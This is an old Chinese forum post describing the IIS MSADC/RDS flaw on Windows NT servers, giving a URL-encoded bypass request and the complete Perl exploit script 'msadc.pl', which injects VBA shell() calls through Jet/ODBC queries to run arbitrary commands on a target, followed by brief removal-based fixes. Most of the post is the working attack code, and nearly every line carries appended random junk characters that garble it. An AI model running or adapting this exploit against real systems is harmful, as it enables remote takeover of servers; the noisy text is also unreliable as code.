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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) KiAcA]0  
z(me@P!D~  
涉及程序: Uoj i@  
Microsoft NT server s<vs:jna  
t`5j4bdG  
描述: zA s&%OjG  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 A59gIp*>  
9#k0_vDoW  
详细: p@ygne 4  
如果你没有时间读详细内容的话,就删除: dl0FQNz8@B  
c:\Program Files\Common Files\System\Msadc\msadcs.dll XP-C  
有关的安全问题就没有了。 |]W2EV ,b  
#?Mj$ZB  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 k4{:9zL1#?  
B +Aj*\Y.  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 S~)w\(r  
关于利用ODBC远程漏洞的描述,请参看: {.CMD9F[  
Jdj?I'XtY  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 51by  
~W03{9(Vp8  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 l-.(Ez*  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp pu4,0bw  
xWE8W m  
这里不再论述。 CzVmNy)kl  
KX3KM!*  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ^Ga&}-  
=X1?_~}  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ;..o7I  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 1] #9  
K |*5Kwi  
G[Tl%w  
#将下面这段保存为txt文件,然后: "perl -x 文件名" cozXb$bBY  
gU1#`r>[)  
#!perl ,9of(T(~  
# :243H  
# MSADC/RDS 'usage' (aka exploit) script /ty?<24ko  
# B,vOsa"x6`  
# by rain.forest.puppy :%X Ls,  
# }Qr6 l/2  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me UE :HMn6  
# beta test and find errors! [}2Z/   
2.lgT|p  
use Socket; use Getopt::Std; GABQUmtH  
getopts("e:vd:h:XR", \%args); PJLR<9  
]@ M5_%p  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Yr+23Ro  
7G9 3,dJ  
if (!defined $args{h} && !defined $args{R}) { #X`8dnQZ  
print qq~ K84^ Oq  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ^G|98yc!'  
-h <host> = host you want to scan (ip or domain) S%mfs!E>  
-d <seconds> = delay between calls, default 1 second Ug%_@t/?  
-X = dump Index Server path table, if available jQh^WmN  
-v = verbose {Wv% zA*8  
-e = external dictionary file for step 5 >v+jh(^  
0Scm? l3  
Or a -R will resume a command session \9{F5S z  
}|wv]U~  
~; exit;} : c.JhE3D  
q%/uQT?  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; oxz{ ejd{  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} kc$)^E7  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} +wO#'D  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); pz|'l:v^  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ~DF:lqwWP  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 1(#;&:$`i  
d 8o53a]  
if (!defined $args{R}){ $ret = &has_msadc; -db75=  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} \3XqHf3|o  
^%>kO,  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" m D58T2 Z  
. "cmd /c "; jd-glE,Y/  
$in=<STDIN>; chomp $in; F<&!b2)ML  
$command="cmd /c " . $in ; LnsD  
Ao9R:|9  
if (defined $args{R}) {&load; exit;} CE%_A[a  
%O[N}_XHEh  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; kv{}C)kt3  
&try_btcustmr; ?> D tw#}  
GqKsK r2%  
print "\nStep 2: Trying to make our own DSN..."; zaimGMJ ,  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; TQ@d~GR  
Wp0 Dq(  
print "\nStep 3: Trying known DSNs..."; }8K4-[\  
&known_dsn; YT#3n  
]lOh&Cz[  
print "\nStep 4: Trying known .mdbs..."; /+]s.V.  
&known_mdb; `~BZ1)@  
tY|8s]{2  
if (defined $args{e}){ G}d-(X  
print "\nStep 5: Trying dictionary of DSN names..."; m#!=3P7T  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } YB(Gk;]  
Qdk6Qubi!  
print "Sorry Charley...maybe next time?\n"; v`PY>c6~  
exit; *Zk>2<^R  
*fMpZ+;[m  
############################################################################## dl-l"9~;  
p=Q0!!_r  
sub sendraw { # ripped and modded from whisker 7- d.ZG  
sleep($delay); # it's a DoS on the server! At least on mine... wK_]/Q-L  
my ($pstr)=@_; Z8O n%Mx{"  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || `)iY}Iu  
die("Socket problems\n"); &[Xu!LP  
if(connect(S,pack "SnA4x8",2,80,$target)){ fV>CZ^=G  
select(S); $|=1; \nNXxTxX!  
print $pstr; my @in=<S>; dihjpI_  
select(STDOUT); close(S); }yn0IWVa  
return @in; kRJ4-n^@><  
} else { die("Can't connect...\n"); }} g=L]S-e  
56lCwXCgA  
############################################################################## YY((#"o;l  
D/ybFk  
sub make_header { # make the HTTP request hwYQGtjF  
my $msadc=<<EOT H6*^Ga  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 H`hnEOyLp  
User-Agent: ACTIVEDATA <x pph t<  
Host: $ip ZUm?*.g\^  
Content-Length: $clen \>. LW9  
Connection: Keep-Alive M9\#Aq&\i  
}|OaL*|u  
ADCClientVersion:01.06 >SF Uy\3  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 1$/MrPT(b  
&F *' B|n  
--!ADM!ROX!YOUR!WORLD! zET^T5>:  
Content-Type: application/x-varg B(g_Gm<  
Content-Length: $reqlen Q#I"_G&{  
C*=Xk/0  
EOT K7knK  
; $msadc=~s/\n/\r\n/g;  fE f_F r  
return $msadc;} \W5O&G-C  
JCx WWre  
############################################################################## +j_ ;(Gw7  
.T<= z  
sub make_req { # make the RDS request 3981ie  
my ($switch, $p1, $p2)=@_; VZr>U*J[:  
my $req=""; my $t1, $t2, $query, $dsn; `_I@i]i^  
Qf M zF  
if ($switch==1){ # this is the btcustmr.mdb query ]B"'}%>ez  
$query="Select * from Customers where City=" . make_shell(); jdZ~z#`(!:  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . H(c72]@Vg  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} lf{e[!ML'  
~)LH='|h\}  
elsif ($switch==2){ # this is general make table query E907fX[R~  
$query="create table AZZ (B int, C varchar(10))"; {R<Ea @LV+  
$dsn="$p1";} >zsid:  
/-_=nf}w  
elsif ($switch==3){ # this is general exploit table query ( 9!k#  
$query="select * from AZZ where C=" . make_shell(); H`bSYjgM!  
$dsn="$p1";} K%<j=c  
:NHH Dl  
elsif ($switch==4){ # attempt to hork file info from index server xJ^>pg8  
$query="select path from scope()"; G@FI0\t  
$dsn="Provider=MSIDXS;";} [v7^i_d  
$E<Esf$  
elsif ($switch==5){ # bad query fqX"Lus `=  
$query="select"; ZRxZume<f  
$dsn="$p1";} 00I}o%akO  
Ars687WB  
$t1= make_unicode($query); E1dD7r\  
$t2= make_unicode($dsn); ^'CPM6J  
$req = "\x02\x00\x03\x00"; Xp\/YJOibd  
$req.= "\x08\x00" . pack ("S1", length($t1)); <?-YTY|  
$req.= "\x00\x00" . $t1 ; w{[=l6L m  
$req.= "\x08\x00" . pack ("S1", length($t2)); 4%4avEa"w  
$req.= "\x00\x00" . $t2 ; 2]GdD*  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 1_fZm+oW!  
return $req;} ;{ i'#rn{  
6R-&-4  
############################################################################## YBYZ=,"d  
x";w%  
sub make_shell { # this makes the shell() statement t*z~5_/  
return "'|shell(\"$command\")|'";} <DKS+R  
m }a|FS  
############################################################################## Y$N)^=7  
/>¬$>  
sub make_unicode { # quick little function to convert to unicode B]m@:|Q  
my ($in)=@_; my $out; 4c oJRqf=  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 0&qr  
return $out;} GoA4f3  
yKYUsp  
############################################################################## Qy<[7  
gmIqT f  
sub rdo_success { # checks for RDO return success (this is kludge) EXP%Mk/  
my (@in) = @_; my $base=content_start(@in); U4m9e|/H;z  
if($in[$base]=~/multipart\/mixed/){ /{wJEuE  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Hsih[f  
return 0;} /? r?it  
Z3>N<u8)  
############################################################################## 4S~o-`&W  
h\plQ[T  
sub make_dsn { # this makes a DSN for us 8N:owK  
my @drives=("c","d","e","f"); jV.g}F+1m  
print "\nMaking DSN: "; 4}_O`Uxh  
foreach $drive (@drives) { Gl1jxxd  
print "$drive: "; ,Jcm+ Wb  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ^w]/  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" REZJ}%}/  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); S3L~~X/=  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; obdFS,JxxG  
return 0 if $2 eq "404"; # not found/doesn't exist [ W2fd\4  
if($2 eq "200") { %6AW7q t  
foreach $line (@results) { KD/V aN  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} pF ^#}L  
} return 0;} #cj6{%c 4  
/R>nr"  
############################################################################## MCU_Z[N#10  
*~m+Nc`D,N  
sub verify_exists { 8ElKD{.BU8  
my ($page)=@_; \Mg`(,kwe  
my @results=sendraw("GET $page HTTP/1.0\n\n"); [tMZ G%h  
return $results[0];} jTLSdul+  
R!l:O=[<  
############################################################################## u:aW 8  
vG \a1H  
sub try_btcustmr { SQeRSz8bK4  
my @drives=("c","d","e","f"); YF+n b.0.  
my @dirs=("winnt","winnt35","winnt351","win","windows"); `ptj?6N-  
n@ w^ V   
foreach $dir (@dirs) { sA gKg=)  
print "$dir -> "; # fun status so you can see progress ZeG_en ;  
foreach $drive (@drives) { ]skkoM  
print "$drive: "; # ditto ?"z]A7<Hj  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 8/0Y vh  
$reqlenlen=length( "$reqlen" ); *3T| M@Y  
$clen= 206 + $reqlenlen + $reqlen; }I@L}f5N  
)DYI .  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); "t^URp3  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} b;)~wU=  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} %0? M?Jf  
J9K3s_SN  
############################################################################## ^(* n]  
oI^4pwnh  
sub odbc_error { #Rg|BfV-  
my (@in)=@_; my $base; p{PE@KO:  
my $base = content_start(@in); -s9P 8W  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 7}*6#KRG  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; WM)-J^)BJ  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9;?UvOI;  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; XUuu-wm:}  
return $in[$base+4].$in[$base+5].$in[$base+6];} 97K[(KE  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ljK rj  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . a>mm+L 8y  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} $lhC{&tBV  
7LO%#No",  
############################################################################## C/(M"j M  
]v#r4Ert  
sub verbose { c1%H4j4/  
my ($in)=@_; CRbdAqofV  
return if !$verbose; _ Ro!"YVX  
print STDOUT "\n$in\n";} l2;CQ7  
>5Wlc$bc  
############################################################################## SZJ$w-<z  
/m!Cc/Hv  
sub save { )[1)$-Ru  
my ($p1, $p2, $p3, $p4)=@_; f]7M'sy|  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; \,J/ r!  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 7Sz?S_N/j  
close OUT;} F @Te@n  
 iD= p\  
############################################################################## RZ1 /#;  
K-&V,MI  
sub load { ZNYH#mJX*  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; p$ bnK]  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); [frq  'c  
@p=<IN>; close(IN); ",{ibh)g$`  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); o[E_Ge}g8  
$target= inet_aton($ip) || die("inet_aton problems"); <(vCiH9~P  
print "Resuming to $ip ..."; Q:ezifQ  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 6%Be36<  
if($p[1]==1) { V 21njRS  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; YDGS}~m~Q  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; IF]lHB  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); y^7}oH _  
if (rdo_success(@results)){print "Success!\n";} CR2_;x:0  
else { print "failed\n"; verbose(odbc_error(@results));}} kD[ r.Dma  
elsif ($p[1]==3){ nI0[;'Hn,  
if(run_query("$p[3]")){ ZylJp8U  
print "Success!\n";} else { print "failed\n"; }} Bo5ZZY  
elsif ($p[1]==4){ 7}jWBK  
if(run_query($drvst . "$p[3]")){ ! ZU2{  
print "Success!\n"; } else { print "failed\n"; }} c$wsH25KH8  
exit;} ~^+0  
W d0NT@  
############################################################################## \P1=5rP  
Dde]I_f}  
sub create_table { M4xi1M#%  
my ($in)=@_; 0-{t FN  
$reqlen=length( make_req(2,$in,"") ) - 28; ;;A2!w{}[i  
$reqlenlen=length( "$reqlen" ); e L.(p k^<  
$clen= 206 + $reqlenlen + $reqlen; m[k_>e\ u  
my @results=sendraw(make_header() . make_req(2,$in,"")); 85;b9k&\M  
return 1 if rdo_success(@results); GJqE!I,.  
my $temp= odbc_error(@results); verbose($temp); 9;xM%  
return 1 if $temp=~/Table 'AZZ' already exists/; TNJG#8n%Y  
return 0;} MQKfJru7  
|pa$*/!NT  
############################################################################## uytE^  
@(C1_  
sub known_dsn { GElvz'S~  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go UU8pz{/  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", W5#611  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", I7^zU3]Ul  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); pu,?<@0YK  
zS] 8V?`  
foreach $dSn (@dsns) { 7)%+=@  
print "."; 67y Tvr@a  
next if (!is_access("DSN=$dSn")); h_d<!  
if(create_table("DSN=$dSn")){ CkswJ:z)sc  
print "$dSn successful\n"; .G o{1[  
if(run_query("DSN=$dSn")){ cwV]!=RtO  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 5[n(7;+gw  
print "Something's borked. Use verbose next time\n";}}} print "\n";} gl&5l1&  
h~wi6^{&Y  
############################################################################## 3Tq\BZ  
^9-&o  
sub is_access { X>?b#Eva  
my ($in)=@_; Mc!Xf[  
$reqlen=length( make_req(5,$in,"") ) - 28; )#F]G$51r  
$reqlenlen=length( "$reqlen" ); ,sGZ2=M}J  
$clen= 206 + $reqlenlen + $reqlen; FYS/##r  
my @results=sendraw(make_header() . make_req(5,$in,"")); upvS|KUil  
my $temp= odbc_error(@results); l]<L [Y,E-  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); moVbw`T  
return 0;} 81*M= ?  
P=1I<Pew  
############################################################################## J9T3nTfL  
%6--}bY^  
sub run_query { 7Ol}EPf#  
my ($in)=@_; H:H6b  
$reqlen=length( make_req(3,$in,"") ) - 28; =+w*gDr  
$reqlenlen=length( "$reqlen" ); ;L&TxO>#J  
$clen= 206 + $reqlenlen + $reqlen; E\m5%bK\B  
my @results=sendraw(make_header() . make_req(3,$in,"")); ]59i>  
return 1 if rdo_success(@results); c]B$i*t  
my $temp= odbc_error(@results); verbose($temp); -YD+(c`l  
return 0;} N8`?t5  
Z0De!?ALV\  
############################################################################## 2DD:~Tbi  
R}mn*h6  
sub known_mdb { ^s.V;R  
my @drives=("c","d","e","f","g"); mZIoaF>t  
my @dirs=("winnt","winnt35","winnt351","win","windows"); b|z g<  
my $dir, $drive, $mdb; Z!0]/mCE8  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; "7>>I D  
f&D]anf33  
# this is sparse, because I don't know of many P,=+W(s9}  
my @sysmdbs=( "\\catroot\\icatalog.mdb", q.2(OP>(  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", kF7V.m/~o  
"\\system32\\certmdb.mdb", bxK(9.  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% E+C5 h ;p&  
i@NqC;~;  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", _tr<}PnZ  
"\\cfusion\\cfapps\\forums\\forums_.mdb", U}SXJH&&E  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", a(]`F(L  
"\\cfusion\\cfapps\\security\\realm_.mdb", XBQ\_2>  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", #"fJa:IYG7  
"\\cfusion\\database\\cfexamples.mdb", d2s OYCKe  
"\\cfusion\\database\\cfsnippets.mdb", g]UBZ33y  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ^TB>.c@`*  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Q !qrNa6  
"\\cfusion\\brighttiger\\database\\cleam.mdb", B^D(5  
"\\cfusion\\database\\smpolicy.mdb", ^KB~*'DN~s  
"\\cfusion\\database\cypress.mdb", q %A?V _  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", )5fQ$<(Z  
"\\website\\cgi-win\\dbsample.mdb", HyiF y7j  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", #E0t?:t5bk  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 4x%(9_8 {-  
); #these are just oPc\<$  
foreach $drive (@drives) { Hx$c N  
foreach $dir (@dirs){ 9;%CHb&  
foreach $mdb (@sysmdbs) { .k4W_9  
print "."; `bKA+c,f  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ D\ /xu-&  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; NrDi   
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ @5) 8L/[l  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; xyr+_k-x&q  
} else { print "Something's borked. Use verbose next time\n"; }}}}} (wmBjQ]B<  
wiX~D  
foreach $drive (@drives) { hC_Vts[v/  
foreach $mdb (@mdbs) { ,%bhyww<  
print "."; U=sh[W  
if(create_table($drv . $drive . $dir . $mdb)){ i~J;G#b  
print "\n" . $drive . $dir . $mdb . " successful\n"; YGc^h(d  
if(run_query($drv . $drive . $dir . $mdb)){ ?t@v&s  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; h;lirvO|  
} else { print "Something's borked. Use verbose next time\n"; }}}} *b}>cn)<v  
} (yo;NKq,@  
<ktzT&A  
############################################################################## )x#5Il H  
]<DNo&fw  
sub hork_idx { 9]$8MY   
print "\nAttempting to dump Index Server tables...\n"; a'\By?V]  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ')S;[=v  
$reqlen=length( make_req(4,"","") ) - 28; vhr+g 'tf  
$reqlenlen=length( "$reqlen" ); }G$]LWgQx  
$clen= 206 + $reqlenlen + $reqlen; yz+, gLY  
my @results=sendraw2(make_header() . make_req(4,"","")); ~#\i!I;RY}  
if (rdo_success(@results)){ 6pE :A@  
my $max=@results; my $c; my %d; h  x6;YV  
for($c=19; $c<$max; $c++){ !S%6Uzsj  
$results[$c]=~s/\x00//g; &p<(_|Af  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; BcA31%  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; +5v}q.:+  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; #$vRJ#S}U  
$d{"$1$2"}="";} &@"]+33  
foreach $c (keys %d){ print "$c\n"; } ?B.~ AUN  
} else {print "Index server doesn't seem to be installed.\n"; }} nA>sHy  
}2)DPP:ic  
############################################################################## 5sde  
KRsAv^']  
sub dsn_dict { I>h<b_y  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); y?[snrK G  
while(<IN>){ nD" ~?*Lt  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; RANPi\]  
next if (!is_access("DSN=$dSn")); #y]3LC#)^G  
if(create_table("DSN=$dSn")){ yj@tV2  
print "$dSn successful\n"; q&'Lbxc>c  
if(run_query("DSN=$dSn")){ /.5;in  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { k6IG+:s  
print "Something's borked. Use verbose next time\n";}}}  V[pvJ(  
print "\n"; close(IN);} C-P06Q]  
c.H?4j7ga  
############################################################################## PBks` |+  
RK9>dkW  
sub sendraw2 { # ripped and modded from whisker O}Ui`eWU  
sleep($delay); # it's a DoS on the server! At least on mine... [_y@M ]  
my ($pstr)=@_; _baYn`tFw-  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || s_jBu  
die("Socket problems\n"); 4aZCFdc  
if(connect(S,pack "SnA4x8",2,80,$target)){ c(- Mc6  
print "Connected. Getting data"; xSpC'"   
open(OUT,">raw.out"); my @in; MrE<vw@he  
select(S); $|=1; print $pstr; Ni[4OR$-O  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} UkR3}{i  
close(OUT); select(STDOUT); close(S); return @in; D1,O:+[;.  
} else { die("Can't connect...\n"); }} rqCa 2  
wCZO9sU:6=  
############################################################################## |pZo2F!.  
gvli%9n  
sub content_start { # this will take in the server headers 71B3a  
my (@in)=@_; my $c; E(+T*  
for ($c=1;$c<500;$c++) { )&W|QH=AI  
if($in[$c] =~/^\x0d\x0a/){ ^>~dlS  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } !^U6Z@&/R  
else { return $c+1; }}} {j(4m  
return -1;} # it should never get here actually !>;w!^U  
%|3e.1oX  
############################################################################## }IUP5O6  
<z#BsnjW{  
sub funky { Zcd7*EBdx  
my (@in)=@_; my $error=odbc_error(@in); twqFs  
if($error=~/ADO could not find the specified provider/){ zCXqBuvu1  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ){Z  
exit;} yYAnwf  
if($error=~/A Handler is required/){ #dJ 2Q_2  
print "\nServer has custom handler filters (they most likely are patched)\n"; _=`x])mM  
exit;} o0;7b>Tv  
if($error=~/specified Handler has denied Access/){ eFQQW`J  
print "\nServer has custom handler filters (they most likely are patched)\n"; 3_qdJ<,  
exit;}} 9n}A ^  
}(i(Ar-  
############################################################################## c]Unbm^w  
&>}.RX]t  
sub has_msadc { ;cSGlE |  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); :B#EqeI  
my $base=content_start(@results); y~#\#w {  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ZW ye> ]  
return 0;} 2o{@nN8%  
%= u/3b:o  
######################## $>vy(Y  
m^$5K's&  
qMgfMhQ7DU  
解决方案: hN4VlNKu  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll &zN@5m$k;  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Z*bC#s?  
`mErF%b  
拿出来充数 哈哈
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